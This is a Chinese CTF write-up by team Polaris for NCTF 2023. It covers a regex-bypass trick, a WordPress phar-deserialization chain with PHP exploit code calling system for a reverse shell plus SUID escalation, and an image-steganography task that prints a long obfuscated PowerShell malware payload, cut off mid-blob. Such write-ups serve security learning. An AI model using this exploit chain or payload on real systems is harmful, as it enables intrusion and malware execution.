本次 NCTF 2023,我们Polaris战队排名第2。

排名 队伍 总分
1 LaoGong 10605
2 Polaris 8938
3 Arr3stY0u 8380
4 MiniL 8137
5 Scr1w 7928
6 二刺螈 7843
7 miniSUSer 5893
8 不知道永远是不是无限 5826
9 mininep 5182
10 gets 4418

WEB

logging

image-20231224084328769

image-20231224084357191

image-20231224085216283

Wait What?

审计代码,查找资料,得知在g全局模式下,重复调用test进行匹配会出现真假交替的情况
参考https://zhuanlan.zhihu.com/p/86384322
所以如果能触发两次test方法可以绕过黑名单

而更新正则对象的部分在try_catch中,所以如果报错就能阻止正则对象的更新

因为对象不能像数组那样遍历取值,所以用对象来报错

/api/ban_user接口传入{"username":"user","password":"user","ban_username":{"a":"b"}}
image-20231224175402096

再两次用admin身份请求flag,第二次即可获得flag

image-20231224211830648

ez_wordpress

题目有提示

image-20231224173615872

且给了wp的版本是6.4.1,而官网最新是6.4.2,可能漏洞已经修复了,对比两版源码

image-20231224173730294

6.4.2修了两个反序列化,模式是一样的

image-20231224173800373

刚好是call_user_func,找到反序列化链

在hint给的链接里,发现有插件的扫描记录搜索可以发现有all-in-one-video-gallery插件

该插件存在任意文件读取的cve,操控dl参数实现,找到phar触发点

再找到drag-and-drop-multiple-file-upload-contact-form-7的上传,参考https://www.exploit-db.com/exploits/48520

构造phar

<?php

class WP_HTML_Token
{
  public $on_destroy;
  public $bookmark_name;
  public function __construct()
  {
    $this->on_destroy = "system";
    $this->bookmark_name="反弹shell";
  }
}

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new WP_HTML_Token();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

上传

QQ截图20231224142343

用任意文件读取触发phar

QQ截图20231224142359

反弹shell,发现flag,没有权限,suid提权

QQ截图20231224141422

date提权

image-20231224211911700

Webshell Generator

image-20231224212447843

MISC

Jump For Signin

在二维码未落地之前是完整的,通过截图工具截图就行

08310ac7d670b742f2db20f66183e4d5

NCTF2077: jackpot

解析一下eml文件得到两个地址,一个png,一个exe

exe扔到微步得到flag2

image-20231224151628088

flag1从图片找,发现是用Invoke-image做了一个免杀,LSB提取第四位数据即可

from PIL import Image

def solove_png(image_path):
    img = Image.open(image_path)
    width, height = img.size
    extract_data = bytearray()
    for y in range(height):
        for x in range(width):
            pixels = img.getpixel((x, y))
            extract_byte = (pixels[1] & 0x0F) | ((pixels[2] & 0x0F) << 4)
            extract_data.append(extract_byte)
    return extract_data

image_path = "nctf.png"
data = solove_png(image_path)

with open('1.bin', 'wb') as f:
    f.write(data)

得到第一段加密密文

&((GV '*mdR*').NaMe[3,11,2]-JoIN'') ( NEw-ObjeCt  sySTeM.iO.sTReamreadEr( ( NEw-ObjeCt  Io.cOMPrEssIoN.DEflATeSTREaM([sYsTEM.iO.MemoRYsTReaM][cOnVert]::frOMbAsE64StRinG( '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